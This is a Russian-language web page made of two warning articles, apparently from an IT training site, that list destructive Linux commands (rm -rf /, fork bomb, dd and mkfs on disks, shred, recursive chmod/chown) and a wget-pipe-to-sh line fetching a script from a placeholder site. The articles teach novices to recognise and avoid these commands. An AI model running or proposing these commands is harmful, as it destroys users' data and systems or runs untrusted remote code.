- Восемь опасных команд, которые никогда не следует выполнять в Linux
- rm -rf / – удаление всего!
- Замаскированные вариант rm –rf /
- :()< :|: & >;: – форк-бомба
- mkfs.ext4 /dev/sda1 – форматирование жесткого диска
- command > /dev/sda – запись непосредственно на жесткий диск
- dd if=/dev/random of=/dev/sda – запись мусора на жесткий диск
- wget http://example.com/something -O – | sh – скачивание и запуск скрипта
- ИТ База знаний
- Полезно
- Навигация
- Серверные решения
- Телефония
- Корпоративные сети
- 10 команд Linux, которые убьют ваш сервер
- Необратимые
- Опасные, но обратимые
Восемь опасных команд, которые никогда не следует выполнять в Linux
Терминальные команды в Linux являются мощными и Linux не попросит вас подтвердить, если вы запустите команду, которая испортит вашу систему. Не редкость увидеть в сети советы от троллей, рекомендующих в качестве шутки выполнить пользователям-новичкам Linux следующие команды.
Изучение команд, которые вам не следует запускать, может помочь защитить вас от троллей и повысит ваше понимание того, как работает Linux. Это не исчерпывающее руководство, и команды, приведенные здесь, могут быть смикшированы различными способами.
Обратите внимание, что многие из этих команд будут опасны только в случае, если у них в Ubuntu будет использован префикс sudo — иначе они не будут работать. На других дистрибутивах Linux, большинство команд должны запускаться с правами суперпользователя.
rm -rf / – удаление всего!
Команда rm -rf / удаляет все, что возможно, в том числе файлы на вашем жестком диске и файлы на подключенных съемных медиа устройствах. Эта команда будет более понятной, если ее разделить на части:
rm – удалить следующие файлы.
-rf — Выполнить команду rm рекурсивно (r – recursively: удаление всех файлов и каталогов внутри указанного каталога) и принудительно удалить (f — force-remove) все файлы, не спрашивая каких-либо подтверждений.
/ — Сообщает команде rm, чтобы надо начать с корневого каталога, в котором содержатся все файлы на вашем компьютере и все смонтированные мультимедийные устройства, в том числе удалить все разделяемые файлы и файлы на съемных дисках.
Linux с удовольствием подчинится этой команде и удалит все без какого-либо запроса, так что будьте осторожны при ее использовании! Команда rm также может быть использована другим опасным способом — ее вариант rm –rf
удалит все файлы в вашем домашнем каталоге, а вариант rm -rf .* удалить все ваши конфигурационные файлы.
Урок: Будьте аккуратны с командой rm -rf.
Замаскированные вариант rm –rf /
Вот еще один фрагмент кода, который гуляет по сети:
Это шестнадцатеричная версия команды rm –rf / — выполнение этой команды уничтожит ваши файлы так же, как если бы вы запустили команду rm –rf /.
Урок: Не запускайте странные на вид, возмржно, замаскированные команды, которые вы не понимаете.
:()< :|: & >;: – форк-бомба
В следующей строке представлена простая на вид, но и опасная функция bash:
В этой короткой строке определена функция командной оболочки, которая создает свои собственные копии. Процесс постоянно воспроизводит себя, и его копии постоянно размножаться, быстро занимая все свое процессорное время и всю память. Это может привести к остановке компьютера. Это, в большей степени, атака вида denial-of-service (отказ в обслуживании).
Урок: Функции bash являются мощными, даже если они очень короткие.
mkfs.ext4 /dev/sda1 – форматирование жесткого диска
Команда mkfs.ext4 /dev/sda1 является простой и понятной:
mkfs.ext4 – создается новая файловая система ext4 на следующем устройстве.
/dev/sda1 — указывает первый раздел на первом жестком диске, который, вероятно, используется.
Если объединить эти команды вместе, то это может быть эквивалентно запуску в Windows команды format c: — файлы в вашем первом разделе будут стерты и будут заменены новой файловой системой.
Эта команда может быть также представлена в других видах – команда mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске с файловой системой ext3.
Урок: Остерегайтесь выполнять команды непосредственно с жесткими дисками, которые начинаются с /dev/sd.
command > /dev/sda – запись непосредственно на жесткий диск
Строка command > /dev/sda работает аналогичным образом — она запускает команду и посылает результат работы этой команды прямо на ваш первый жесткий диск, записывая данные непосредственно на жестком диске и повреждая вашу файловой системы.
command — выполнить команду (может быть любая команда)
> – отправить результат работы команды в следующее место.
/dev/sda — записывать результат работы команды непосредственно на устройство жесткого диска.
Урок: Как и выше, остерегайтесь выполнения команд, в которых указываются устройства жестких дисков, начинающиеся /dev/sd.
dd if=/dev/random of=/dev/sda – запись мусора на жесткий диск
Строка dd if=/dev/random of=/dev/sda также уничтожит данные на одном из ваших жестких дисков.
dd — выполняет копирование из одного места в другое.
if=/dev/random – в качестве входа используется /dev/random (случайные данные) — вы также можете увидеть такой вариант, /dev/zero (обнуление).
of=/dev/sda — выдача данных на первый жесткий диск, заменяя его файловую систему случайными мусорными данными.
Урок: Команда dd копирует данные из одного места в другое, что может быть опасным, если вы копируете данные непосредственно на устройство.
/dev/null – перемещение вашего домашнего каталога в черную дыру
/dev/null является еще одним специальным местом — перемещение чего-либо в /dev/null будет то же самое, что и стирание. Считайте устройство /dev/null черной дырой. По существу, команда mv
/dev/null перемещает все ваши личные файлы в черную дыру.
mv — переместить следующий файл или каталог в другое место.
– указывает на весь ваш домашний каталог.
/dev/null — перемещает ваш ваш домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригиналов.
обозначает ваш домашний каталог и перемещение его в /dev/null, он уничтожается.
wget http://example.com/something -O – | sh – скачивание и запуск скрипта
Эта строка загружает скрипт из интернета и отправляет в интерпретатор sh, который выполняет содержимое скрипта. Это может быть опасным, если вы не знаете, что делает скрипт или если вы не доверяете его источнику — не запускать ненадежные скрипты.
wget — загружает файл. (Вы также можете увидеть curl вместо wget).
http://example.com/something — загрузка файл из указанного каталога.
| — конвейер (перенаправление), который перенаправляет вывод команды wget (файл, который вы скачали) непосредственно в другую команду.
sh — перенаправление файла в команду sh, которая выполняет его, если это скрипт bash.
Урок: Не загружайте и не запускать ненадежные скрипты из интернета, даже если указана команда.
Знаете ли вы какие-нибудь другие опасные команды, которые не должны запускать в Linux пользователи-новички (и опытные пользователи)? Оставьте свой комментарий и поделитесь ими!
Источник
ИТ База знаний
Курс по Asterisk
Полезно
— Узнать IP — адрес компьютера в интернете
— Онлайн генератор устойчивых паролей
— Онлайн калькулятор подсетей
— Калькулятор инсталляции IP — АТС Asterisk
— Руководство администратора FreePBX на русском языке
— Руководство администратора Cisco UCM/CME на русском языке
— Руководство администратора по Linux/Unix
Навигация
Серверные решения
Телефония
FreePBX и Asterisk
Настройка программных телефонов
Корпоративные сети
Протоколы и стандарты
10 команд Linux, которые убьют ваш сервер
Стоп — лист Linux команд
Привет! Еcли ты только начал осваивать Linux, то просто обязан знать то, что я сейчас тебе расскажу.
Онлайн курс по Linux
Мы собрали концентрат самых востребованных знаний, которые позволят тебе начать карьеру администратора Linux, расширить текущие знания и сделать уверенный шаг к DevOps
В Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать.
Это как непростительные заклятия, которые не должен произносить ни один волшебник.
Их запуск может привести к самым негативным последствиям — безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.
Внимание! Эти команды действительно могут навредить твоей системе. Компания Мерион Нетворкс снимает с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер.
Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.
В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем «ловят лулзы» от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких «доброжелателей» и других «темных сил» читай нашу статью!
Необратимые
И начнём мы с действительно «непростительных заклятий», последствия которых невозможно обратить:
- rm –rf / — Удаляет всё, до чего только может добраться. Короче — “Avada Kedavra!” в Linux’е.
Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:
- rm — команда для удаления файлов
- -r — рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них
- -f — означает “force”, не спрашивает подтверждения для выполнения операции у пользователя
- / — “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.
Таким образом, система поймёт данную команду как: “Удали мне всё, что можно и начни с корневой директории!”
В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция —preserve-root . Однако, если добавить к ней ключ —no-preserve-root , то команда всё же сработает.
Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:
Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”
16-ричное представление команды rm –rf /, его система тоже поймёт.
- sudo dd if=/dev/zero of=/dev/sda bs=8m — Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС.
/dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda — это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”
Обратите внимание на sudo перед последующей командой. Это значит, что её можно исполнить только под пользователем root.
Встречается ещё использование другого псевдоустройства — if=/dev/random . В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей.
- shred /dev/sda — Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них.
- mkfs.ext3 /dev/sda — Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные.
- chmod -Rv 000 / — Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.
- chown -R nobody:nobody / — Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.
Опасные, но обратимые
- :()< :|:& >;: — Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию.
Чтобы лучше понять, как она действует, давайте её немного преобразуем:
Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.
- команда > file.conf — Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают > — заменить и >> — добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать > file.conf , то можно просто стереть содержимое файла.
- wget http://вредоносный_сайт -O- | sh — Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь.
- chmod -R 777 / — Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой.
Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи.
Ну вот и всё, теперь у тебя есть представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить. Надеемся эта статья была тебя полезна, а если ты знаешь ещё какие нибудь “непростительные заклинания” и опасные команды в Linux – пиши их в комментариях!
Онлайн курс по Linux
Мы собрали концентрат самых востребованных знаний, которые позволят тебе начать карьеру администратора Linux, расширить текущие знания и сделать уверенный шаг к DevOps
Источник